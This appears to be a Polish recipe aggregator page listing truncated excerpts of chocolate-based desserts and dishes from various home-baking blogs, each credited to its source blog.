Najlepszy mazurek! Genialny, kruchy orzechowy spód i mleczna czekolada! Czego chcieć więcej ;) Inspiracja : Kwestia Smaku Składniki: spód:  170 g maki pszennej tortowej 120 g zmielonych orzechów laskowych ( kupiłam całe orzechy i zmieliłam drobno blenderem ) 3,5 łyżki cukru 150 g zimnego masła jajko masa: 3 tabliczki mlecznej czekolady z orzechami 80 ml śmietanki 30 % dodatkowo 3 łyżki zrumienionych(...)rant. Spód podziurkować widelcem i włożyć do lodówki na 30 min. Piekarnik nagrzać do 160  ° C , ciasto piec 35 min, do zrumienienia. Ostudzić. W rondelku rozpuścić czekoladę wraz ze śmietanką. Delikatnie ostudzić i wyłożyć na ciasto. Udekorować posiekanymi orzechami, schłodzić w lodówce

Atlas Smaków
Ciasteczka czekoladowe z żurawinami i orzechami włoskimi 124

jajko 1 opakowanie cukru waniliowego (używamy z mamusią robionego przez nas) 180 g cukru trzcinowego (używałyśmy trzcinowy cukier puder) 50 g orzechów włoskich posiekanych 50 g czekolady białej startej 50 g czekolady mlecznej startej 100 g suszonych żurawin    szczypta soli   Przygotowanie: Masło ucieramy z trzcinowym cukrem pudrem i cukrem waniliowym. Do dobrze utartego masła(...)dodajemy przesianą mąkę tortową, sodę, kakao i jajko. Mieszamy do połączenia się wszystkich składników. Do ciasta dodajemy posiekane orzechy, starte obydwie czekolady i suszoną żurawinę, oraz sól. Wszystkie składniki mieszamy. Na blachę wyłożoną papierem za pomocą łyżki do lodów układałam kulki. Ciasto delikatnie spłaszczyłam drewnianą łyżką. Pamiętajcie żeby robić sporo odstępy pomiędzy ciasteczkami, ponieważ podczas pieczenia mogą się

Lili w kuchni
Desery marcepanowe z masą chałwową 131

łyżek śmietany (użyłyśmy 18 %)  owoce do zdobienia Masa: 500 l śmietany kremówki 250 g serka mascarpone 200 g chałwy sezamowej Krem:   150 g gorzkiej czekolady 200 ml śmietany kremówki 140 g masła 280 g cukru pudru   Przygotowanie: Masę marcepanową drobno siekamy (my rozdrobniłyśmy ją w robocie) dodajemy masło, cukier i szczyptę soli i ubijamy na pianę(...)mieszamy najlepiej rózgą. Tak przygotowaną masę nakładamy na spód ciasta, kładziemy owoce i przykrywamy ciastem.   Krem: Śmietanę kremówkę podgrzewamy i zdejmujemy z ognia. Dodajemy od razu połamaną czekoladę i mieszamy aż się rozpuści. Odstawiamy na 20 min do schłodzenia. Masło i cukier puder ubijamy na gładką masę i łączymy z czekoladą. Wstawiamy do lodówki

Lili w kuchni
Słodki Michałek 18880

łyżki mąki 125 g miękkiego masła lub margaryny laska wanilii 4-5 łyżek cukru (w zależności od upodobań, można również dodać cukier wanilinowy) + wiórki kokosowe i tabliczka mlecznej czekolady   Wykonanie: 2,5 szklanki mleka zagotować. W połowie szklanki mleka rozpuścić 2 budynie, mąkę i cukier. Gdy mleko zacznie się gotować, wlać pozostałą jego część z budyniami i mieszać energicznie(...)biszkopt przeciąć na pół. Dolną warstwę nasączyć, położyć 3/4 kremu, posypać niewielką ilością wiórków kokosowych, przykryć górną częścią biszkoptu, nasączyć, przykryć resztą kremu, obsypać niewielką ilością wiórków i startą czekoladą. Lista zakupów: 6 jajek mąka pszenna mąka ziemniaczana mleko 2 budynie waniliowe cukier proszek do pieczenia masło lub margaryna laska wanilii tabliczka mlecznej czekolady wiórki kokosowe

The Sweet Damsel
Lody malinowe w czekoladzie 126

oczywiście jeść bez polewy czekoladowej.     Składniki (na ok. 10 sztuk): 200 g mleka skondensowanego bez cukru 250 g malin 250 g jogurtu greckiego 1 łyżka cukru trzcinowego czekolada (100 g na 3 - 4 lody)   Wykonanie: Maliny zmiksować i przetrzeć przez sito.  Mleko, jogurt, cukier i mus z malin zmiksować na gładką masę.  Przełożyć do foremek(...)lodów i wstawić do zamrażalnika na kilka godzin.  Czekoladę rozpuścić w kąpieli wodnej lub w kuchence mikrofalowej.  Lody wyjąć z pojemników (plastikowe trzeba oblać gorącą wodą, z silikonowych lody wchodzą bez problemu) i oblać rozpuszczoną czekoladą.  Podawać od razu

Sto kolorów kuchni
Muffinki z morelami i białą czekoladą 116

Pyszne muffinki ze słodkimi morelami i białą czekoladą. Nie ma co za wiele pisać, bo połączenie puszystego ciasta, drobinek czekoladowych i kawałków owoców nie wymaga większego reklamowania. Pamiętajcie, aby przechowywać babeczki w lodówce ze względu na wysokie temperatury i ryzyko zepsucia się świeżych moreli.        Składniki: 2 jaja      1 szklanka mleka  + 1 szklanka(...)mąki pszennej pełnoziarnistej 1/2 szklanki cukru trzcinowego 1 łyżeczka proszku + 1 łyżeczka sody 1 szklanki płatków owsianych kilka moreli świeżych   6 suszonych moreli, pokrojonych 6 kostek białej czekolady

Chocolate Muffin Blog
Naleśniki o smaku waniliowo - bananowym 120

Składniki : Ciasto - 2 szklanki mąki pszennej/kukurydzianej - 1 szklanka mleka - 0,5 szkanki wody - 1 jajko Masa - serek waniliowy homogenizowany - 1 banan Polewa - jogurt grecki - gorzka czekolada Przygotowanie : Zmiksować mąke, mleko, wodę i jajko. Usmażyć naleśniki. Pokroić banana w kostkę i wymieszać z serkiem waniliowym. Następnie posmarować naleśniki tak przygotowaną masą. Ubić mikserem jogurt grecki. Stopić w garnku czekoladę (najlepiej dodać(...)odrobinę mleka). Na końcu polać naleśniki jogurtem i czekoladą. Smacznego

Kuchenne innowacje
Babeczka na oleju z makiem i serkiem 143

szklanka oleju serek Almette  z Morelą i Wanilią 300 g mąki pszennej tortowej 2 łyżeczki proszku do pieczenia łyżka błonnika kawowego łyżka suchego maku Dekoracja: 2 czekolady mleczne 3 łyżki napoju sojowego płatki migdałowe 150 g Wykonanie ciasta  z serkiem  Almette  z Morelą i Wanilią : Wbijamy jaja do miski. Dodajemy ksylitol i miksujemy na puch. Dodajemy(...)drugiej łyżkę maku . Kładziemy łyżką raz ciemne ciasto raz z makiem ciasto aż do końca. Pieczemy 55 minut w 170 stopniach.   Przygotowanie polewy: Do garnka wkładamy dwie tabliczki czekolady ( 200 g). Dodajemy 3 łyżki napoju sojowego i mieszamy do rozpuszczenia ( na małym palniku ). Migdały prażymy chwilkę na patelni .  Dekoracja ciasta: Ostudzone ciasto polewamy czekolada ( ja nakładałam pędzelkiem sylikonowym

Różowa kuchnia
Śmietankowiec 355

szkolne imprezy a wszystkim bardzo smakowało. Wygrzebałam recepturę z zeszytu mamy i o to jest ciasto z amoniakiem przełożone masą z bitej śmietany i polane roztopioną czekoladą w oryginale była to masa kakaowa . (adsbygoogle = window.adsbygoogle || []).push({}); Ciasto: 3 szkl mąki 1 szkl cukru 5 jajek 1 margaryna 1 łyżeczka amoniaku Margarynę, cukier, żółtka - utrzeć. Dodać mąkę i ubitą piane(...)warstwa .Upiec 3 - 4 placki Masa: 1/2 l gęstej śmietany 1/2 szkl cukru pudru 2 łyżki żelatyny 1 cukier waniliowy 1/3 szkl ciepłej wody do rozpuszczenie żelatyny Dodatkowo rozpuszczona czekolada Śmietanę ubić z cukrem, dodać rozpuszczoną w wodzie żelatynę i wymieszać. Przekładać placki śmietaną. Wierzch można polać rozpuszczoną czekoladą  lub posypać wiórkami kokosowymi

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Czekoladowa babka marmurkowa 158

Składniki: 2 szklanki mąki pszennej 1 i 1/4 łyżeczki proszku do pieczenia szczypta soli 225 g margaryny 1 szklanka cukru 4 duże jajka pół szklanki mleka 120 g gorzkiej czekolady Sposób przygotowania: Bardzo ważne!!! Wszystkie składniki muszą mieć temperaturę pokojową!!! Mąkę i proszek do pieczenia przesiać, dodać szczyptę soli i wymieszać. Margarynę utrzeć z cukrem na puszystą masę, następnie dodawać(...)obroty miksera, i dodawać na przemian przesianą mąkę z mlekiem. Miksować tylko do momentu połączenia się wszystkich składników - nie przemiksujcie bo zakalec murowany. Można tę czynność wykonać łyżką.  Czekoladę rozpuścić w kąpieli wodnej, lekko ostudzić. Ciasto podzielić na 2 części, do jednej dodać czekoladę i wymieszać łyżką. Przygotować formę. Wysmarować margaryną i obsypać ją mąką. Do formy na przemian

na moim stole...
Kruche ciasteczka z płatkami owsianymi, amarantusem i prażonym słonecznikiem 167

ciastkami nie przepadam jakoś szczególnie. Można powiedzieć, że jestem troszkę wybredna. Niewiele ciastek przypada mi do gustu, do niewielu wracam chętnie. No dobra, przyznam się: wolę czekoladę ;) Ciastka, na które dziś Was zapraszam, z czekolada nie mają nic wspólnego. Są za to kruche, pachnące i smaczne. Ich przygotowanie nie zajmuje dużo czasu, pieką się też szybciutko. I choć za ciastkami(...)przepadam, te uwielbiam :) nawet jeśli nie mają w sobie czekolady ;) Składniki na około 24 sztuki: 1 szklanka mąki pszennej, 100 g miękkiego masła, 1/4 szklanki cukru (najlepiej brązowego), 1 płaska łyżeczka proszku do pieczenia, szczypta soli, 2 jajka, 3/4 szklanki płatków owsianych, 1/2 szklanki ekspandowanego amarantusa, 1/2 szklanki łuskanego słonecznika. Mąkę przesiać do miski, dodać cukier, proszek do pieczenia, sól

Codzienna kuchnia niecodzienna
Amerykańskie ciastka z kawałkami czekolady 163

szkl. mąki pszennej 1/2 łyżeczki proszku do pieczenia szczypta soli 4 łyżki brązowego cukru 80 g białego cukru 2 łyżeczki ekstraktu z wanilii 1 duże jajko 150 g ciemnej czekolady Przygotowanie: Wszystkie składniki, oprócz czekolady umieścić w misce i szybko zagnieść rękami do uzyskania zbitej masy. Uformować z niej dość duże kulki  i umieścić je na blaszce wyłożonej papierem(...)pieczenia. Spłaszczyć dłonią. Czekoladę pokroić na mniejsze kawałki, a następnie wcisnąć je w ciastka. Piec w 180 st.C około 15 minut do zarumienienia. Upieczone wyjąć i przestudzić chwilkę na blaszce. Następnie delikatnie przełożyć na kratkę i pozostawić do całkowitego ostygnięcia. Przechowywać w szczelnie zamkniętym pojemniku. Smacznego

Nastoletnie Wypiekanie
Ciasto czekoladowe z czereśniami 172

słodkiego. Szybko się robi i szybko znika. składniki: 125 g masła 1,5 szklanki mąki, u mnie typ 500 Młyn Kopytowa 0,5 szklanki cukru 3 jajka 100 g czekolady 5 łyżek mleka 2 łyżki kakao 1 łyżeczka proszku do pieczenia ok 250 g wydrylowanych czereśni Składniki przygotować wcześniej aby były w temperaturze pokojowej. Czekoladę (dałam 50 g mlecznej(...)puszystą masę. Cały czas ubijać i dodawać po jednym jajku. Następnie porcjami dodawać mąkę wymieszaną z kakao i proszkiem do pieczenia oraz mleko. Na koniec dodać przestudzoną rozpuszczoną czekoladę. Keksówkę o wymiarach 30x10 natłuścić i posypać tartą bułką. Wyłożyć połowę masy. W masę powciskać trochę czereśni. Następnie wyłożyć resztę ciasta. Wyrównać wierzch łyżką zwilżoną we wodzie. Na wierzchu ułożyć resztę

Monia miesza i gotuje
Proste urodzinowe ciasto czekoladowe 269

ciemnego kakao bez cukru 200g mąki pszennej (użyłam tortowej) 1 i 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody Polewa: 100ml śmietanki kremówki 30% lub 36% 100g połamanej, gorzkiej czekolady Dodatkowo: kolorowa posypka cukrowa 1. Piekarnik nastawić na 170oC na funkcji góra-dół. 2. Mąkę przesiać i wymieszać z proszkiem do pieczenia oraz sodą. 3. Masło utrzeć z cukrem(...)pieczenia, wyrównać. Wstawić do nagrzanego piekarnika. Piec przez około 60 minut. Po wyjęciu w piekarnika odstawić do całkowitego ostygnięcia. Polewa: 6. Do rondelka wlać śmietankę i dodać połamaną czekoladę. Podgrzewać na małym ogniu, mieszając, aż czekolada się roztopi. Gotową polewą udekorować ciasto i wierzch posypać kolorową posypką.   Zgłoszenia możecie przesyłać do końca lipca. Inspiracje i przykładowe historie z przepisami

Mała Cukierenka
Ananasowiec, czyli tropikalny torcik. 132

mało urodziwy kawałek ;-)). Podstawą jest biszkopt przełożony budyniem z kawałkami ananasa, wierzch natomiast stanowi delikatna pianka z dodatkiem kwaskowej, wiśniowej galaretki, a wszystko to spowija polewa z gorzkiej czekolady idealnie balansując wszystkie smaki. Składniki na ananasowiec, czyli tropikalny torcik (blaszka 25x40 cm) Biszkopt: 6 dużych jajek 1 i 1/2 szklanki cukru 1 szklanka mąki pszennej 1/2 szklanki mąki ziemniaczanej(...)białe budynie bez cukru (śmietankowy, waniliowy) Masa II 2 opakowania bitej śmietany w proszku (Śnieżka, Śnieżynka itp) i mleko do jej przygotowania 2 galaretki wiśniowe 1 tabliczka gorzkiej czekolady lub inna polewa czekoladowa      Przygotowanie pierwszej masy zaczynamy od odsączenia ananasów i pokrojenia ich w ok 1 cm kawałki. Syrop z ananasów przelewamy do naczynia z miarką, potrzebujemy

Rozpustne gotowanie
Likier czekoladowy. 211

wersji dla dorosłych). Rozpusta!!! Składniki na likier czekoladowy 1,5 litra mleka 450 g cukru 2 budynie czekoladowe w proszku 100 g gorzkiego kakao 100 g gorzkiej czekolady 1 laska wanilii 500 ml białego rumu      Przygotowujemy duży garnek o grubym dnie, taki w którym mleko się nie przypali. Laskę wanilii przekrawamy wzdłuż na pół, tępą stroną noża(...)mieszając zagotowujemy, następnie wlewamy rozpuszczone w mleku kakao i budyń, i ciągle mieszając ponownie zagotowujemy. Gotujemy jeszcze około 2 minut energicznie mieszając trzepaczką. Wyłączamy grzanie, dodajemy połamaną w kostki czekoladę i mieszamy, aż czekolada się rozpuści, przykrywamy folią spożywczą, studzimy mieszając od czasu do czasu (żeby nie zrobił się kożuch). Do jeszcze ciepłej masy wlewamy rum, mieszamy, rozlewamy do butelek

Rozpustne gotowanie
Kruche ciasteczka z kokosem. 133

waniliowego 2 jajka 200 g wiórków kokosowych 400 g mąki 2 łyżeczki proszku do pieczenia 1 trochę startej skórki z cytryny (około 1-1,5 łyżeczki) DEKORACJA: 100 g czekolady 1 łyżeczka oleju ewentualnie  kandyzowana skórka cytrynowa i cukier puder      Mąkę, proszek do pieczenia, cukier, cukier waniliowy, wiórki kokosowe, skórkę z cytryny umieszczamy na stolnicy, mieszamy(...)pieczemy w nim ciasteczka do 15 minut (jeśli wycinamy drobne ciasteczka to krócej), ciastka mają się jedynie lekko zarumienić. Upieczone wyjmujemy z piekarnika, studzimy.      Czekoladę rozpuszczamy w kąpieli wodnej (wkładamy do miseczki i umieszczamy ją nad gotującą się wodą, miseczka nie może dotykać wody), dodajemy olej i mieszamy. Skórkę cytrynową odsączamy z syropu, kroimy na mniejsze kawałeczki

Rozpustne gotowanie
Lawendowa jaglanella z kaszy jaglanej z jaglaną czekoladą i jagodami 231

przyjemnie ogrzeje kiedy słupek rtęci zacznie spadać. Jedynym ograniczeniem przy komponowaniu tego dania jest nasza wyobraźnia :). Dziś propozycja lekkiego deseru aromatyzowanego lawendą i miętą z pysznymi jagodami i jaglaną czekoladą, bez cukru, bez glutenu. Czas przygotowania: 20 minut + moczenie i chłodzenie Składniki: 1 szklanka ugotowanej kaszy jaglanej Kupiec,  1/2 szklanki odtłuszczonego mleka kokosowego, 1/2 szklanki orzechów nerkowca, 10 świeżych(...)rzadszą konsystencję dodać trochę wody, w której moczyły się orzechy.  Do kremu dodać jagody, wymieszać łyżką, rozlać do pucharków i schłodzić w lodówce. Z pozostałych składników przygotować jaglaną czekoladę: zmiksować mleko, kaszę, daktyle, korab i skórką z pomarańczy z dodatkiem chilli i soli. Czekoladę rozlać na masę z jagodami, schłodzić lub od razu podać. Przed podaniem przybrać miętą

SzczyptaSmaQ
Gofry czekoladowe ze śmietaną i malinami 160

kochani na dzisiaj proponuje gofry z czekoladą śmietaną i malinami. Mamy sezon na maliny więc trzeba korzystać .  Wypiek powstał z myślą Ciasto na Niedziele- Gofry  Składniki na gofry : mleko 1.5% 1 lit kakao 1  łyżka czekolada mleczna rozpuszczona 150 g cukier 150 g jaja 2 szt mąką tortowa  500 g proszek(...)kalorii . Dodajemy jaja i miksujemy , zrobi się pianka lekko ale tak ma być. Dodajemy cukier i nadal miksujemy . Przesiewamy mąkę z proszkiem do pieczenia i dodajemy do składników . Rozpuszczamy czekoladę z 3 łyżkami mleka i wlewamy do ciasta gofr-owego. Wsypujemy łyżkę kakao i miksujemy na najmniejszych obrotach. Na końcu wlewamy olej, wystarczy zamieszać i gotowe .  Gofrownice smarujemy olejem

Różowa kuchnia
Brownie na wypasie 129

Demerara 1 czubata łyżka mąki kukurydzianej 20g masła w pokojowej temperaturze 2 czubate łyżki gładkiego masła orzechowego Na ciasto 230g masła (plus 1 łyżka do natłuszczenia formy) 250g ciemnej czekolady 70% 230g brązowego cukru Demerara 4 jajka 150g mąki 2 łyżki dżemu malinowego 100g świeżych malin Zaczynamy od przygotowania sosu. Laskę wanilii przekrawamy wzdłuż na pół i czubkiem noża wyjmujemy(...)testować czy aby nie mdłe. Nagrzewamy piekarnik do 180*C. Natłuszczamy prostokątną formę (20x30cm). W garnku rozpuszczamy masło na niewielkim ogniu, do już płynnego dorzucamy połamaną na kawałki czekoladę. Mieszamy cały czas, żeby nic nie przywarło ani się nie przypaliło. Do masy czekoladowej dodajemy cukier i dobrze mieszamy. Zdejmujemy z ognia, dodajemy jajka po jednym i mieszamy miotełką. Na koniec

les mirabelles
Biskwity z patelni z landrynkowym kremem 149

Słodkie ciasto biszkoptowe i landrynkowy krem z białą czekoladą to połączenie któremu trudno się oprzeć, gwarantuję że jeśli raz spróbujecie będziecie prosić o dokładkę ;-) Deser podałam na pięknym porcelanowym zestawie  Autumn/Jesień-Porcelana Bogucice Życzę smacznego! Ciasto: 3 jajka 3 ły ż ki m ą ki tortowej 3 ły ż ki cukru 2 ły ż ki oleju(...)enia Szczypta soli Krem: 300 ml ś mietany kremówki 30% 2 paski białej czekolady 70 g owocowych landrynek Dodatkowo: Ananas w ż elu Melisa cytrynowa Sposób wykonania: Białka jaj ubijamy na sztywn ą pian ę z cukrem, gdy masa b ę dzie l ś ni ą ca, dodajemy ż ółtka i miksujemy do poł ą czenia, dodajemy przesian ą pulchn

Wanilia i Kardamon
Królik duszony z wędzoną papryką 111

królik, sól, pieprz, 4 łyżeczki papryki wędzonej, 500 ml białego półwytrawnego wina, 1-2 łyżeczki miodu, 3 ząbki czosnku, 4 kostki czekolady deserowej, masło do smażenia Królika umyć, osuszyć, podzielić na porcje. Każdy kawałek oprószyć solą, pieprzem i obtoczyć w wędzonej papryce . Odstawić na 2 godziny. W garnku z grubym dnem obsmażyć na maśle na rumiano z każdej strony. Wlać(...)koniec duszenia płynu powinno być niewiele, więc nie dolewajmy za dużo wody. Gotowe mięso przełoży na talerz i trzymać w cieple. Garnek z sosem zdjąć z ogniem, dodać czekoladę i wymieszać. Nie gotować z czekoladą. Podałam z groszkiem i karmelizowaną marchewką. zastawa

królestwo garów
Czekoladowa Lawa (Molten Lava Cake) 237

Trzeba wyczuć odpowiedni moment ;) Następnych razem, gdy zrobię ten deser, będę piekła go o minutkę krócej, aby środek był jeszcze bardziej płynny. Polecam! Składniki: Ciasto: 170 g posiekanej gorzkiej czekolady 56 g posiekanej mlecznej czekolady ½ szkl. mąki pszennej 140 g masła 3/4 szkl. cukru pudru 3 duże jajka w temperaturze pokojowej 3 duże żółtka w temperaturze pokojowej 1 łyżeczka ekstraktu(...)wanilii 2 łyżki likieru pomarańczowego Dodatkowo: cukier puder do oprószenia kakao do oprószenia kokilek truskawki/ maliny do dekoracji Przygotowanie: 1. Masło i czekolady umieścić w garnuszku, podgrzewać do rozpuszczenia się składników. Jeszcze ciepłą masę czekoladową przelać do większego naczynia. Wsypać przesianą mąkę pszenną oraz cukier puder i zmiksować. Następnie dodać jajka, żółtka, ekstrakt i likier. Dobrze zmiksować do połączenia się

Nastoletnie Wypiekanie
Lody truskawkowe 121

postanowiłam zrobić lody truskawkowe w wersji domowej. Do moich lodów dodałam jeszcze nutkę czekoladową, więc poniżej zamieszczę przepis na same lody truskawkowe lub na lody truskawkowe z dodatkiem czekolady. Muszę szczerze przyznać, że lody wyszły przepyszne. SKŁADNIKI 350 g truskawek 3 łyżki cukru 200 g śmietanki 30% 3 jajka szczypta soli 150 g cukru 500 g śmietany kremówki(...)zamykamy i wkładamy do zamrażalnika na minimum 12 godzin. Przed podaniem lodów należy je na chwilę wyciągnąć z zamrażalnika, następnie nakładać. Lody można udekorować sezonowymi owocami. Wersja z dodatkiem czekolady: Zamiast wlewać całą śmietankę 30% do truskawek, odlewamy do garnuszka 1/4 i dodajemy 6 kostek gorzkiej czekolady. Całość podgrzewamy mieszając, aż do momentu uzyskania jednolitej konsystencji. Zostawiamy do ostudzenia

Passions hobbies life
Ciasto biszkoptowe z galaretką 345

opakowania budyniu śmietankowego, 500 ml mleka, 1 kostka masła, 5 łyżek cukru pudru, 1 kieliszek spirytusu, Dodatkowo: 1 opakowanie galaretki zielonej, 1 opakowanie galaretki czerwonej, 1 tabliczka gorzkiej czekolady. PRZYGOTOWANIE: 1. Biszkopt jasny: Białka ubijam na sztywną pianę. Nadal ubijając dodaję żółtka oraz cukier. Następnie stopniowo dodaję olej, mąkę, ocet i proszek do pieczenia. Ciasto wykładam na blaszkę o wymiarach(...)masie układam biszkopt ciemny z otworami. W otwory wlewam tężejące galaretki. Odstawiam do stężenia. Następnie wykładam drugą część masy budyniowej, wyrównuję. Na masie układam drugi blat biszkoptu jasnego. Czekoladę rozpuszczam nad kąpielą wodną. Na wierzchu ciasta robię z czekolady esy floresy. Ciasto wstawiam na 2 godziny do lodówki

Tradycyjna kuchnia Kasi
Porzeczkowa fantazja 179

fototapetynawymiar.com/ , porządny wybór, przystępne ceny, a efekt końcowy robi ogromne wrażenie, podobnie jak ciasto, które Wam dzisiaj zaprezentuję ;) Przygotowane "na gościnnych występach", wspólnie z kuzynem Kamilem :) Ciasto z kawałkami czekolady i ajerkoniakiem, masa śmietanowo - twarogowa z czarnymi porzeczkami, a na wierzchu owocowa frużelina. Pysznie! Lubię takie wspólne pieczenie, my z Kamilem już planujemy powtórkę ;) Polecam, równie dobrze smakuje z jagodami(...)masła 2 jajka 100 g cukru 2 łyżeczki cukru waniliowego 100 ml ajerkoniaku 160 g mąki pszennej 50 g mąki ziemniaczanej 2 łyżeczki proszku do pieczenia 80 g czekolady Masło utrzeć z cukrem i cukrem waniliowym, dodawać po jednym jajku, nadal ucierając, dodać ajerkoniak, wymieszać. Mąki przesiać z proszkiem do pieczenia, dodać startą czekoladę, połączyć. Formę o wymiarach

Domowa cukiernia Ewy
Torcik czekoladowo-kokosowy z czereśniami 299

czekoladowo-kokosowy z czereśniami Składniki: ciasto czekoladowe 160g (1 szklanka) mąki 150g (3/4 szklanki) cukru (u mnie pół na pół zwykły z domowym cukrem waniliowym) 75g masła 50g gorzkiej czekolady 50ml wody 2 jajka 2 łyżki kakao 1 łyżka ekstraktu z wanilii 1 łyżeczka proszku do pieczenia masa budyniowa 600ml mleka 60g masła 60g wiórków kokosowych 4 łyżki domowego cukru(...)warstwa owocowa 350ml (450ml) wody 1 opakowanie (1,5 opakowania) galaretki wiśniowej 250g czereśni (po wypestkowaniu) Wykonanie: CIASTO CZEKOLADOWE - jajka należy wyjąć wcześniej z lodówki - do rondelka przełożyć masło, czekoladę, cukier, kakao oraz wodę, wszystko podgrzać do momentu roztopienia się masła i czekolady i uzyskania jednolitej masy - mieszankę zdjąć z palnika, ostudzić - jajka roztrzepać, dodać ostudzoną mieszankę oraz ekstrakt

Smakołyki Bereniki
Ciasto jogurtowe z karmelem i gorzką czekoladą. 256

stopni ,kiedy padało nie pamiętam i naprawdę nie chce się nic .Ale czasem ochota na coś słodkiego bywa silniejsza niż upał , więc zrobiłam szybkie ciasto z karmelem i gorzką czekoladą .Smaczne ,polecam bardzo. Składniki:blaszka kwadratowa o boku 20 cm 1 kubeczek jogurtu naturalnego (125 ml ) umyj kubeczek i odmierzaj nim kolejne składniki: 3 kubeczki mąki 1 kubeczek cukru(...)kubeczek oleju roślinnego 4 jajka (oddzielnie białka i żółtka) 2 łyżeczki proszku do pieczenia Dodatkowo : gorzka czekolada ,ilość dowolna ,starta na tartce domowy karmel ,przepis tu : https://myladylaura.wordpress.com/2015/06/28/domowy-karmel/ Białka ubić na sztywną pianę ,następnie dodawać stopniowo cukier i po jednym żółtku dalej ubijając .Następnie dodać powoli jogurt i olej . Na koniec delikatnie wmieszać łyżką mąkę przesianą z proszkiem

Ladylaura.
Grill jako piernik – wyjątkowe desery przygotować można na świeżym powietrzu 140

nieprzewidzianego braku prądu, gdy przybycie naszych gości jest bliskie. Hitem wśród deserów przygotowywanych na grillach gazowych mogą być babeczki. Babeczki z grilla gazowego Składniki: Ciasto: 300g masła 300g gorzkiej czekolady dobrej jakości 300g cukru 1 łyżeczka wanilii 10 jaj, żółtka i białka osobno trochę startej skórki z cytryny Glazura: 2 łyżki cukru pudru 2 łyżki ciepłego masła ale nie roztopionego(...)odrobina soku pomarańczowego lub malinowego Wszystkie składniki glazury wymieszać i używać podczas pieczenia babeczek Przygotowanie: Masło, czekoladę i połowę cukru rozpuścić w rondelku. Wymieszać żółtka z przygotowaną wcześniej mieszanką czekolady. Białka ubić do lekkiej pianki, dodać resztę cukru, wanilię i skórkę z cytryny. Przygotowaną masę czekoladową i białkową wymieszać ze sobą. Wlewać do foremek do pieczenia babek zapełniając nie więcej

naRuszcie
Wegańskie ptasie mleczko z chia 250

kokosowego w temp. pokojowej 8 łyżek nasion chia 6 g agaru (4 płaskie łyżeczki) 5 łyżek syropu z agawy (lub więcej jeśli lubisz bardzo słodkie desery) pół tabliczki gorzkiej czekolady 70% 200 g jagód 2 łyżki soku z cytryny Przygotowanie: Do miski wlać mleko migdałowe i kokosowe, dodać sok z cytryny, syrop z agawy i nasiona chia - dokładnie wymieszać (najlepiej(...)mikserem). Odstawić na około 30 minut (żeby chia spęczniało) Czekoladę rozpuścić w kąpieli wodnej Z mlecznej mieszanki wziąć 300 ml dodać rozpuszczoną czekoladę oraz łyżeczkę agaru, doprowadzić do wrzenia (ma delikatnie bulgotać), gotować przez 1-2 minuty i zdjąć z ognia.  Czekoladową masę wylać na spód tortownicy (wyłożonej papierem do pieczenia), schłodzić i schować do lodówki na co najmniej

pyszne zdrowości
Owsiane kule mocy ;) 200

suszonych moreli 30 g orzechów włoskich 250 g płatków owsianych 50 g wiórków kokosowych  opcjonalnie - syrop z agawy/inne słodzidło do smaku Do obtoczenia: gorzka czekolada wiórki kokosowe Przygotowanie: Banany zmiksować na gładka masę orzechy i morele pokroić na mniejsze kawałki, dodać do bananów Do powstałej masy dodać płatki owsiane i dokładnie wymieszać, jeśli lubisz bardzo słodkie desery możesz dodać(...)syropu Masę odstawić na około pól godziny, by płatki wchłonęły trochę wilgoci. Formujemy kulki i obtaczamy w wiórkach kokosowych Świetnie smakują też kule w polewie czekoladowej - trzeba rozpuścić czekoladę (u mnie 70%) w kąpieli wodnej. Kulki nakładać na patyczek szaszłykowy i maczać w czekoladzie, zdjąć z patyczka i odstawić do przestygnięcia Kulki najlepiej smakują schłodzone :) Smacznego

pyszne zdrowości
Odchudzone ciasto z pomarańczowo dyniowym musem pod serową kołderką 178

aromatycznym musem dyniowo pomarańczowym, a całość wieńczy delikatna serowo-śmietankowa pianka. Jest po prostu pyszne. Owsiany spód 1. szklanka płatków owsianych 1/2 kostki masła (100 g.) 1/2 tabliczki czekolady gorzkiej Masło i czekoladę rozpuszczamy w kąpieli wodnej lub mikrofali. 3/4 płatków mielimy na mąkę, można zmielić wszystkie, ja lubię chrupiące płatki więc zostawiłam część. Mieszamy ze sobą wszystkie składniki(...)żelatyny 2 łyżeczki cukru pudru Ubijamy schłodzoną śmietanę z cukrem pudrem, następnie ostrożnie łączymy z serem i rozpuszczoną żelatyną. Całość wykładamy na mus dyniowy. Ja dodatkowo ozdobiłam wierzch startą czekoladą. Smacznego

Cynamonowe szczęście
Jaglany krem czekoladowy na śniadanie dla czekoladoholików 162

Uwielbiasz czekoladę i chciałbyś jeść krem czekoladowy na śniadanie? Czemu nie.  A jeśli jeszcze powiem wam, że ten krem nie tuczy, jest bogaty w składniki odżywcze i do tego zapewnia energię na cały poranek? Myślę, że każdy zechce spróbować. Ja zakochałam się w tym połączeniu i jak tylko mam ochotę na odrobinę czekolady to funduję sobie takie  pyszne

Cynamonowe szczęście
Bounty - ciasto czekoladowo kokosowe 196

cały czas ucierając. Nasączenie: 1/2 szkl. gorzkiej herbaty ok. 50 wódki Zimny biszkopt nasączamy herbatą z alkoholem i rozsmarowujemy masę kokosową. Całość polewamy polewą czekoladową. Polewa czekoladowa: 1/2 tabliczki czekolady mlecznej 1/2 tabliczki czekolady gorzkiej ok. 5 łyżek mleka Czekolady rozpuszczamy w kąpieli wodnej dolewamy mleko i mieszamy do uzyskania pożądanej konsystencji

Cynamonowe szczęście
Ciasto czekoladowo bananowe 178

tygodnia. 1 1/4 szklanki cukru 250g masła lub margaryny 3 jajka 2 1/4 szklanki mąki pszennej 2 łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej 2 łyżeczki kakao 40g czekolady (u mnie gorzka) 4 dojrzałe banany Banany rozgniatamy (ja do tego celu używam tłuczka do ziemniaków) i miksujemy z cukrem miękką margaryną i jajkami. Masa ma dość niejednolitą konsystencję(...)zapewniam, że tak ma być. Dodajemy startą czekoladę, mąkę, sodę, proszek, starannie mieszamy. Przekładamy do keksówki wyłożonej papierem do pieczenia i wstawiamy do piekarnika nagrzanego na 170 st C na ok 60-70 minut. Studzimy i posypujemy cukrem pudrem lub polewamy czekoladą

Cynamonowe szczęście
Delikatny sernik kokosowy 238

tortownicę o średnicy 22 cm Masa serowa: 80 g masła opakowanie cukru waniliowego 30 g cukru 3 jajka 200 ml mleka kokosowego 350 g sera na serniki tabliczka białej czekolady opcjonalnie suszona żurawina Białą czekoladę rozpuszczamy w kąpieli wodnej i zostawiamy do ostygnięcia. Masło ucieramy z cukrami na puch, dodajemy ser, chłodną czekoladę, mleko kokosowe, żółtka i miksujemy. Białka ubijamy

